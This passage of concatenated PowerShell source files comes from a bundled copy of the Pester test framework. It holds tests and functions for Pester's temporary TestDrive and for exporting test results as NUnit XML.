$env:TEMP } else { $tempPath = '/tmp' } Describe "Setup" { It "returns a location that is in a temp area" { $testDrivePath = (Get-Item $TestDrive).FullName $testDrivePath -like "$tempPath*" | Should Be $true } It "creates a drive location called TestDrive:" { "TestDrive:\" | Should Exist } } Describe "TestDrive" { It "handles creation of a drive with . characters in the path" { #TODO: currently untested but requirement needs to be here "preventing this from failing" } } Describe "Create filesystem with directories" { Setup -Dir "dir1" Setup -Dir "dir2" It "creates directory when called with no file content" { "TestDrive:\dir1" | Should Exist } It "creates another directory when called with no file content and doesnt remove first directory" { $result = Test-Path "TestDrive:\dir2" $result = $result -and (Test-Path "TestDrive:\dir1") $result | Should Be $true } } Describe "Create nested directory structure" { Setup -Dir "parent/child" It "creates parent directory" { "TestDrive:\parent" | Should Exist } It "creates child directory underneath parent" { "TestDrive:\parent\child" | Should Exist } } Describe "Create a file with no content" { Setup -File "file" It "creates file" { "TestDrive:\file" | Should Exist } It "also has no content" { Get-Content "TestDrive:\file" | Should BeNullOrEmpty } } Describe "Create a file with content" { Setup -File "file" "file contents" It "creates file" { "TestDrive:\file" | Should Exist } It "adds content to the file" { Get-Content "TestDrive:\file" | Should Be "file contents" } } Describe "Create file with passthru" { $thefile = Setup -File "thefile" -PassThru It "returns the file from the temp location" { $thefile.FullName -like "$tempPath*" | Should Be $true $thefile.Exists | Should Be $true } } Describe "Create directory with passthru" { $thedir = Setup -Dir "thedir" -PassThru It "returns the directory from the temp location" { $thedir.FullName -like "$tempPath*" | Should Be $true $thedir.Exists | Should Be $true } } Describe "TestDrive scoping" { $describe = Setup -File 'Describe' -PassThru Context "Describe file is available in context" { It "Finds the file" { $describe | Should Exist } #create file for the next test Setup -File 'Context' It "Creates It-scoped contents" { Setup -File 'It' 'TestDrive:\It' | Should Exist } It "Does not clear It-scoped contents on exit" { 'TestDrive:\It' | Should Exist } } It "Context file are removed when returning to Describe" { "TestDrive:\Context" | Should Not Exist } It "Describe file is still available in Describe" { $describe | Should Exist } } Describe "Cleanup" { Setup -Dir "foo" } Describe "Cleanup" { It "should have removed the temp folder from the previous fixture" { Test-Path "$TestDrive\foo" | Should Not Exist } It "should also remove the TestDrive:" { Test-Path "TestDrive:\foo" | Should Not Exist } } Describe "Cleanup when Remove-Item is mocked" { Mock Remove-Item {} Context "add a temp directory" { Setup -Dir "foo" } Context "next context" { It "should have removed the temp folder" { "$TestDrive\foo" | Should Not Exist } } } InModuleScope Pester { Describe "New-RandomTempDirectory" { It "creates randomly named directory" { $first = New-RandomTempDirectory $second = New-RandomTempDirectory $first | Remove-Item -Force $second | Remove-Item -Force $first.name | Should Not Be $second.name } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/TestDrive.ps1 ================================================ function New-TestDrive ([Switch]$PassThru) { $Path = New-RandomTempDirectory $DriveName = "TestDrive" if (-not (& $SafeCommands['Test-Path'] -Path $Path)) { & $SafeCommands['New-Item'] -ItemType Container -Path $Path | & $SafeCommands['Out-Null'] } #setup the test drive if ( -not (& $SafeCommands['Test-Path'] "${DriveName}:\") ) { & $SafeCommands['New-PSDrive'] -Name $DriveName -PSProvider FileSystem -Root $Path -Scope Global -Description "Pester test drive" | & $SafeCommands['Out-Null'] } #publish the global TestDrive variable used in few places within the module if (-not (& $SafeCommands['Test-Path'] "Variable:Global:DriveName")) { & $SafeCommands['New-Variable'] -Name $DriveName -Scope Global -Value $Path } if ( $PassThru ) { & $SafeCommands['Get-PSDrive'] -Name $DriveName } } function Clear-TestDrive ([String[]]$Exclude) { $Path = (& $SafeCommands['Get-PSDrive'] -Name TestDrive).Root if (& $SafeCommands['Test-Path'] -Path $Path ) { #Get-ChildItem -Exclude did not seem to work with full paths & $SafeCommands['Get-ChildItem'] -Recurse -Path $Path | & $SafeCommands['Sort-Object'] -Descending -Property "FullName" | & $SafeCommands['Where-Object'] { $Exclude -NotContains $_.FullName } | & $SafeCommands['Remove-Item'] -Force -Recurse } } function New-RandomTempDirectory { do { $tempPath = Get-TempDirectory $Path = & $SafeCommands['Join-Path'] -Path $tempPath -ChildPath ([Guid]::NewGuid()) } until (-not (& $SafeCommands['Test-Path'] -Path $Path )) & $SafeCommands['New-Item'] -ItemType Container -Path $Path } function Get-TestDriveItem { <# .SYNOPSIS The Get-TestDriveItem cmdlet gets the item in Pester test drive. .DESCRIPTION The Get-TestDriveItem cmdlet gets the item in Pester test drive. It does not get the contents of the item at the location unless you use a wildcard character (*) to request all the contents of the item. .PARAMETER Path Specifies the path to an item. The path need to be relative to TestDrive:. This cmdlet gets the item at the specified location. Wildcards are permitted. This parameter is required, but the parameter name ("Path") is optional. .EXAMPLE Get-TestDriveItem MyTestFolder\MyTestFile.txt This command returns the file MyTestFile.txt located in the folder MyTestFolder what is located under TestDrive. .LINK https://github.com/pester/Pester/wiki/TestDrive about_TestDrive #> #moved here from Pester.psm1 param( [string]$Path ) Assert-DescribeInProgress -CommandName Get-TestDriveItem & $SafeCommands['Get-Item'] $(& $SafeCommands['Join-Path'] $TestDrive $Path ) } function Get-TestDriveChildItem { $Path = (& $SafeCommands['Get-PSDrive'] -Name TestDrive).Root if (& $SafeCommands['Test-Path'] -Path $Path ) { & $SafeCommands['Get-ChildItem'] -Recurse -Path $Path } } function Remove-TestDrive { $DriveName = "TestDrive" $Drive = & $SafeCommands['Get-PSDrive'] -Name $DriveName -ErrorAction $script:IgnoreErrorPreference $Path = ($Drive).Root if ($pwd -like "$DriveName*" ) { #will staying in the test drive cause issues? #TODO review this & $SafeCommands['Write-Warning'] -Message "Your current path is set to ${pwd}:. You should leave ${DriveName}:\ before leaving Describe." } if ( $Drive ) { $Drive | & $SafeCommands['Remove-PSDrive'] -Force -ErrorAction $script:IgnoreErrorPreference } if (& $SafeCommands['Test-Path'] -Path $Path) { & $SafeCommands['Remove-Item'] -Path $Path -Force -Recurse } if (& $SafeCommands['Get-Variable'] -Name $DriveName -Scope Global -ErrorAction $script:IgnoreErrorPreference) { & $SafeCommands['Remove-Variable'] -Scope Global -Name $DriveName -Force } } function Setup { #included for backwards compatibility param( [switch]$Dir, [switch]$File, $Path, $Content = "", [switch]$PassThru ) Assert-DescribeInProgress -CommandName Setup $TestDriveName = & $SafeCommands['Get-PSDrive'] TestDrive | & $SafeCommands['Select-Object'] -ExpandProperty Root if ($Dir) { $item = & $SafeCommands['New-Item'] -Name $Path -Path "${TestDriveName}\" -Type Container -Force } if ($File) { $item = $Content | & $SafeCommands['New-Item'] -Name $Path -Path "${TestDriveName}\" -Type File -Force } if($PassThru) { return $item } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/TestResults.Tests.ps1 ================================================ Set-StrictMode -Version Latest InModuleScope Pester { Describe "Write nunit test results (Legacy)" { Setup -Dir "Results" It "should write a successful test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase","Passed",(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Successful testcase" $xmlTestCase.result | Should Be "Success" $xmlTestCase.time | Should Be "1" } It "should write a failed test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $time = [TimeSpan]::FromSeconds(2.5) $TestResults.AddTestResult("Failed testcase","Failed",$time,'Assert failed: "Expected: Test. But was: Testing"','at line: 28 in C:\Pester\Result.Tests.ps1') #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Failed testcase" $xmlTestCase.result | Should Be "Failure" $xmlTestCase.time | Should Be "2.5" $xmlTestCase.failure.message | Should Be 'Assert failed: "Expected: Test. But was: Testing"' $xmlTestCase.failure.'stack-trace' | Should Be 'at line: 28 in C:\Pester\Result.Tests.ps1' } It "should write the test summary" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Testcase","Passed",(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results' $xmlTestResult.total | Should Be 1 $xmlTestResult.failures | Should Be 0 $xmlTestResult.date | Should Be $true $xmlTestResult.time | Should Be $true } it "should write the test-suite information" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase","Passed",[timespan]10000000) #1.0 seconds $TestResults.AddTestResult("Successful testcase","Passed",[timespan]11000000) #1.1 seconds #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results'.'test-suite'.results.'test-suite' $description = $null if ($xmlTestResult.PSObject.Properties['description']) { $description = $xmlTestResult.description } $xmlTestResult.type | Should Be "PowerShell" $xmlTestResult.name | Should Be "Mocked Describe" $description | Should BeNullOrEmpty $xmlTestResult.result | Should Be "Success" $xmlTestResult.success | Should Be "True" $xmlTestResult.time | Should Be 2.1 } it "should write two test-suite elements for two describes" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase","Passed",(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase","Failed",(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlTestSuite1 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[0] $description = $null if ($xmlTestSuite1.PSObject.Properties['description']) { $description = $xmlTestSuite1.description } $xmlTestSuite1.name | Should Be "Describe #1" $description | Should BeNullOrEmpty $xmlTestSuite1.result | Should Be "Success" $xmlTestSuite1.success | Should Be "True" $xmlTestSuite1.time | Should Be 1.0 $xmlTestSuite2 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[1] $description = $null if ($xmlTestSuite2.PSObject.Properties['description']) { $description = $xmlTestSuite2.description } $xmlTestSuite2.name | Should Be "Describe #2" $description | Should BeNullOrEmpty $xmlTestSuite2.result | Should Be "Failure" $xmlTestSuite2.success | Should Be "False" $xmlTestSuite2.time | Should Be 2.0 } it "should write parent results in tree correctly" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Failed') $TestResults.AddTestResult("Failed","Failed") $TestResults.AddTestResult("Skipped","Skipped") $TestResults.AddTestResult("Pending","Pending") $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() $testResults.EnterDescribe('Skipped') $TestResults.AddTestResult("Skipped","Skipped") $TestResults.AddTestResult("Pending","Pending") $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() $testResults.EnterDescribe('Pending') $TestResults.AddTestResult("Pending","Pending") $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() $testResults.EnterDescribe('Passed') $TestResults.AddTestResult("Passed","Passed") $TestResults.LeaveDescribe() #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestSuite1 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[0] $xmlTestSuite1.name | Should Be "Failed" $xmlTestSuite1.result | Should Be "Failure" $xmlTestSuite1.success | Should Be "False" $xmlTestSuite2 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[1] $xmlTestSuite2.name | Should Be "Skipped" $xmlTestSuite2.result | Should Be "Ignored" $xmlTestSuite2.success | Should Be "True" $xmlTestSuite3 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[2] $xmlTestSuite3.name | Should Be "Pending" $xmlTestSuite3.result | Should Be "Inconclusive" $xmlTestSuite3.success | Should Be "True" $xmlTestSuite4 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[3] $xmlTestSuite4.name | Should Be "Passed" $xmlTestSuite4.result | Should Be "Success" $xmlTestSuite4.success | Should Be "True" } it "should write the environment information" { $state = New-PesterState "." $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $state $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) $xmlEnvironment = $xmlResult.'test-results'.'environment' $xmlEnvironment.'os-Version' | Should Be $true $xmlEnvironment.platform | Should Be $true $xmlEnvironment.cwd | Should Be (Get-Location).Path if ($env:Username) { $xmlEnvironment.user | Should Be $env:Username } $xmlEnvironment.'machine-name' | Should Be $env:ComputerName } it "Should validate test results against the nunit 2.5 schema" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase","Passed",(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase","Failed",(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } it "handles special characters in block descriptions well -!@#$%^&*()_+`1234567890[];'',./""- " { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe -!@#$%^&*()_+`1234567890[];'',./"- #1') $TestResults.AddTestResult("Successful testcase -!@#$%^&*()_+`1234567890[];'',./""-","Passed",(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } Context 'Exporting Parameterized Tests (New Legacy)' { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult( 'Parameterized Testcase One', 'Passed', (New-TimeSpan -Seconds 1), $null, $null, 'Parameterized Testcase ', @{ Parameter = 'One' } ) $TestResults.AddTestResult( 'Parameterized Testcase ', 'Failed', (New-TimeSpan -Seconds 1), 'Assert failed: "Expected: Test. But was: Testing"', 'at line: 28 in C:\Pester\Result.Tests.ps1', 'Parameterized Testcase ', @{ Parameter = 'Two' } ) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile -LegacyFormat $xmlResult = [xml] (Get-Content $testFile) It 'should write parameterized test results correctly' { $xmlTestSuite = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-suite' $description = $null if ($xmlTestSuite.PSObject.Properties['description']) { $description = $xmlTestSuite.description } $xmlTestSuite.name | Should Be 'Parameterized Testcase ' $description | Should BeNullOrEmpty $xmlTestSuite.type | Should Be 'ParameterizedTest' $xmlTestSuite.result | Should Be 'Failure' $xmlTestSuite.success | Should Be 'False' $xmlTestSuite.time | Should Be '2' foreach ($testCase in $xmlTestSuite.results.'test-case') { $testCase.Name | Should Match '^Parameterized Testcase (One|)$' $testCase.time | Should Be 1 } } it 'Should validate test results against the nunit 2.5 schema' { $schemaPath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $null = $xmlResult.Schemas.Add($null,$schemaPath) { $xmlResult.Validate({throw $args.Exception }) } | Should Not Throw } } } Describe "Write nunit test results (Newer format)" { Setup -Dir "Results" It "should write a successful test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase",'Passed',(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Mocked Describe.Successful testcase" $xmlTestCase.result | Should Be "Success" $xmlTestCase.time | Should Be "1" } It "should write a failed test result" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $time = [TimeSpan]25000000 #2.5 seconds $TestResults.AddTestResult("Failed testcase",'Failed',$time,'Assert failed: "Expected: Test. But was: Testing"','at line: 28 in C:\Pester\Result.Tests.ps1') #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestCase = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-case' $xmlTestCase.name | Should Be "Mocked Describe.Failed testcase" $xmlTestCase.result | Should Be "Failure" $xmlTestCase.time | Should Be "2.5" $xmlTestCase.failure.message | Should Be 'Assert failed: "Expected: Test. But was: Testing"' $xmlTestCase.failure.'stack-trace' | Should Be 'at line: 28 in C:\Pester\Result.Tests.ps1' } It "should write the test summary" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Testcase",'Passed',(New-TimeSpan -Seconds 1)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results' $xmlTestResult.total | Should Be 1 $xmlTestResult.failures | Should Be 0 $xmlTestResult.date | Should Be $true $xmlTestResult.time | Should Be $true } it "should write the test-suite information" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult("Successful testcase",'Passed',[timespan]10000000) #1.0 seconds $TestResults.AddTestResult("Successful testcase",'Passed',[timespan]11000000) #1.1 seconds #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestResult = $xmlResult.'test-results'.'test-suite'.results.'test-suite' $xmlTestResult.type | Should Be "TestFixture" $xmlTestResult.name | Should Be "Mocked Describe" $xmlTestResult.description | Should Be "Mocked Describe" $xmlTestResult.result | Should Be "Success" $xmlTestResult.success | Should Be "True" $xmlTestResult.time | Should Be 2.1 } it "should write two test-suite elements for two describes" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase",'Passed',(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase",'Failed',(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlTestSuite1 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[0] $xmlTestSuite1.name | Should Be "Describe #1" $xmlTestSuite1.description | Should Be "Describe #1" $xmlTestSuite1.result | Should Be "Success" $xmlTestSuite1.success | Should Be "True" $xmlTestSuite1.time | Should Be 1.0 $xmlTestSuite2 = $xmlResult.'test-results'.'test-suite'.results.'test-suite'[1] $xmlTestSuite2.name | Should Be "Describe #2" $xmlTestSuite2.description | Should Be "Describe #2" $xmlTestSuite2.result | Should Be "Failure" $xmlTestSuite2.success | Should Be "False" $xmlTestSuite2.time | Should Be 2.0 } it "should write the environment information" { $state = New-PesterState "." $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $state $testFile $xmlResult = [xml] (Get-Content $testFile) $xmlEnvironment = $xmlResult.'test-results'.'environment' $xmlEnvironment.'os-Version' | Should Be $true $xmlEnvironment.platform | Should Be $true $xmlEnvironment.cwd | Should Be (Get-Location).Path if ($env:Username) { $xmlEnvironment.user | Should Be $env:Username } $xmlEnvironment.'machine-name' | Should Be $env:ComputerName } it "Should validate test results against the nunit 2.5 schema" { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe #1') $TestResults.AddTestResult("Successful testcase",'Passed',(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() $testResults.EnterDescribe('Describe #2') $TestResults.AddTestResult("Failed testcase",'Failed',(New-TimeSpan -Seconds 2)) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } it "handles special characters in block descriptions well -!@#$%^&*()_+`1234567890[];'',./""- " { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Describe -!@#$%^&*()_+`1234567890[];'',./"- #1') $TestResults.AddTestResult("Successful testcase -!@#$%^&*()_+`1234567890[];'',./""-",'Passed',(New-TimeSpan -Seconds 1)) $TestResults.LeaveDescribe() #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xml = [xml] (Get-Content $testFile) $schemePath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $xml.Schemas.Add($null,$schemePath) > $null { $xml.Validate({throw $args.Exception }) } | Should Not Throw } Context 'Exporting Parameterized Tests (Newer format)' { #create state $TestResults = New-PesterState -Path TestDrive:\ $testResults.EnterDescribe('Mocked Describe') $TestResults.AddTestResult( 'Parameterized Testcase One', 'Passed', (New-TimeSpan -Seconds 1), $null, $null, 'Parameterized Testcase ', @{Parameter = 'One'} ) $parameters = New-Object System.Collections.Specialized.OrderedDictionary $parameters.Add('StringParameter', 'Two') $parameters.Add('NullParameter', $null) $parameters.Add('NumberParameter', -42.67) $TestResults.AddTestResult( 'Parameterized Testcase ', 'Failed', (New-TimeSpan -Seconds 1), 'Assert failed: "Expected: Test. But was: Testing"', 'at line: 28 in C:\Pester\Result.Tests.ps1', 'Parameterized Testcase ', $parameters ) #export and validate the file $testFile = "$TestDrive\Results\Tests.xml" Export-NunitReport $testResults $testFile $xmlResult = [xml] (Get-Content $testFile) It 'should write parameterized test results correctly' { $xmlTestSuite = $xmlResult.'test-results'.'test-suite'.'results'.'test-suite'.'results'.'test-suite' $xmlTestSuite.name | Should Be 'Mocked Describe.Parameterized Testcase ' $xmlTestSuite.description | Should Be 'Parameterized Testcase ' $xmlTestSuite.type | Should Be 'ParameterizedTest' $xmlTestSuite.result | Should Be 'Failure' $xmlTestSuite.success | Should Be 'False' $xmlTestSuite.time | Should Be '2' $testCase1 = $xmlTestSuite.results.'test-case'[0] $testCase2 = $xmlTestSuite.results.'test-case'[1] $testCase1.Name | Should Be 'Mocked Describe.Parameterized Testcase One' $testCase1.Time | Should Be 1 $testCase2.Name | Should Be 'Mocked Describe.Parameterized Testcase ("Two",null,-42.67)' $testCase2.Time | Should Be 1 } it 'Should validate test results against the nunit 2.5 schema' { $schemaPath = (Get-Module -Name Pester).Path | Split-Path | Join-Path -ChildPath "nunit_schema_2.5.xsd" $null = $xmlResult.Schemas.Add($null,$schemaPath) { $xmlResult.Validate({throw $args.Exception }) } | Should Not Throw } } } Describe "Get-TestTime" { function Using-Culture { param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [ScriptBlock]$ScriptBlock, [System.Globalization.CultureInfo]$Culture='en-US' ) $oldCulture = [System.Threading.Thread]::CurrentThread.CurrentCulture try { [System.Threading.Thread]::CurrentThread.CurrentCulture = $Culture $ExecutionContext.InvokeCommand.InvokeScript($ScriptBlock) } finally { [System.Threading.Thread]::CurrentThread.CurrentCulture = $oldCulture } } It "output is culture agnostic" { #on cs-CZ, de-DE and other systems where decimal separator is ",". value [double]3.5 is output as 3,5 #this makes some of the tests fail, it could also leak to the nUnit report if the time was output $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]35000000 } #3.5 seconds #using the string formatter here to know how the string will be output to screen $Result = { Get-TestTime -Tests $TestResult | Out-String -Stream } | Using-Culture -Culture de-DE $Result | Should Be "3.5" } It "Time is measured in seconds with 0,1 millisecond as lowest value" { $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]1000 } Get-TestTime -Tests $TestResult | Should Be 0.0001 $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]100 } Get-TestTime -Tests $TestResult | Should Be 0 $TestResult = New-Object -TypeName psObject -Property @{ Time = [timespan]1234567 } Get-TestTime -Tests $TestResult | Should Be 0.1235 } } Describe "GetFullPath" { It "Resolves non existing path correctly" { pushd TestDrive:\ $p = GetFullPath notexistingfile.txt popd $p | Should Be (Join-Path $TestDrive notexistingfile.txt) } It "Resolves existing path correctly" { pushd TestDrive:\ New-Item -ItemType File -Name existingfile.txt $p = GetFullPath existingfile.txt popd $p | Should Be (Join-Path $TestDrive existingfile.txt) } It "Resolves full path correctly" { GetFullPath C:\Windows\System32\notepad.exe | Should Be C:\Windows\System32\notepad.exe } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/TestResults.ps1 ================================================ function Get-HumanTime($Seconds) { if($Seconds -gt 0.99) { $time = [math]::Round($Seconds, 2) $unit = 's' } else { $time = [math]::Floor($Seconds * 1000) $unit = 'ms' } return "$time$unit" } function GetFullPath ([string]$Path) { if (-not [System.IO.Path]::IsPathRooted($Path)) { $Path = & $SafeCommands['Join-Path'] $ExecutionContext.SessionState.Path.CurrentFileSystemLocation $Path } return $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path) } function Export-PesterResults { param ( $PesterState, [string] $Path, [string] $Format ) switch ($Format) { 'LegacyNUnitXml' { Export-NUnitReport -PesterState $PesterState -Path $Path -LegacyFormat } 'NUnitXml' { Export-NUnitReport -PesterState $PesterState -Path $Path } default { throw "'$Format' is not a valid Pester export format." } } } function Export-NUnitReport { param ( [parameter(Mandatory=$true,ValueFromPipeline=$true)] $PesterState, [parameter(Mandatory=$true)] [String]$Path, [switch] $LegacyFormat ) #the xmlwriter create method can resolve relatives paths by itself. but its current directory might #be different from what PowerShell sees as the current directory so I have to resolve the path beforehand #working around the limitations of Resolve-Path $Path = GetFullPath -Path $Path $settings = & $SafeCommands['New-Object'] -TypeName Xml.XmlWriterSettings -Property @{ Indent = $true NewLineOnAttributes = $false } $xmlFile = $null $xmlWriter = $null try { $xmlFile = [IO.File]::Create($Path) $xmlWriter = [Xml.XmlWriter]::Create($xmlFile, $settings) Write-NUnitReport -XmlWriter $xmlWriter -PesterState $PesterState -LegacyFormat:$LegacyFormat $xmlWriter.Flush() $xmlFile.Flush() } finally { if ($null -ne $xmlWriter) { try { $xmlWriter.Close() } catch {} } if ($null -ne $xmlFile) { try { $xmlFile.Close() } catch {} } } } function Write-NUnitReport($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { # Write the XML Declaration $XmlWriter.WriteStartDocument($false) # Write Root Element $xmlWriter.WriteStartElement('test-results') Write-NUnitTestResultAttributes @PSBoundParameters Write-NUnitTestResultChildNodes @PSBoundParameters $XmlWriter.WriteEndElement() } function Write-NUnitTestResultAttributes($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteAttributeString('xmlns','xsi', $null, 'http://www.w3.org/2001/XMLSchema-instance') $XmlWriter.WriteAttributeString('xsi','noNamespaceSchemaLocation', [Xml.Schema.XmlSchema]::InstanceNamespace , 'nunit_schema_2.5.xsd') $XmlWriter.WriteAttributeString('name','Pester') $XmlWriter.WriteAttributeString('total', ($PesterState.TotalCount - $PesterState.SkippedCount)) $XmlWriter.WriteAttributeString('errors', '0') $XmlWriter.WriteAttributeString('failures', $PesterState.FailedCount) $XmlWriter.WriteAttributeString('not-run', '0') $XmlWriter.WriteAttributeString('inconclusive', $PesterState.PendingCount + $PesterState.InconclusiveCount) $XmlWriter.WriteAttributeString('ignored', $PesterState.SkippedCount) $XmlWriter.WriteAttributeString('skipped', '0') $XmlWriter.WriteAttributeString('invalid', '0') $date = & $SafeCommands['Get-Date'] $XmlWriter.WriteAttributeString('date', (& $SafeCommands['Get-Date'] -Date $date -Format 'yyyy-MM-dd')) $XmlWriter.WriteAttributeString('time', (& $SafeCommands['Get-Date'] -Date $date -Format 'HH:mm:ss')) } function Write-NUnitTestResultChildNodes($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { Write-NUnitEnvironmentInformation @PSBoundParameters Write-NUnitCultureInformation @PSBoundParameters $XmlWriter.WriteStartElement('test-suite') Write-NUnitGlobalTestSuiteAttributes @PSBoundParameters $XmlWriter.WriteStartElement('results') Write-NUnitDescribeElements @PSBoundParameters $XmlWriter.WriteEndElement() $XmlWriter.WriteEndElement() } function Write-NUnitEnvironmentInformation($PesterState, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat) { $XmlWriter.WriteStartElement('environment') $environment = Get-RunTimeEnvironment foreach ($keyValuePair in $environment.GetEnumerator()) { $XmlWriter.WriteAttributeString($keyValuePair.Name, $keyValuePair.Value) } $XmlWriter.WriteEndElement() } function Write-NUnitCultureInformation($PesterState, 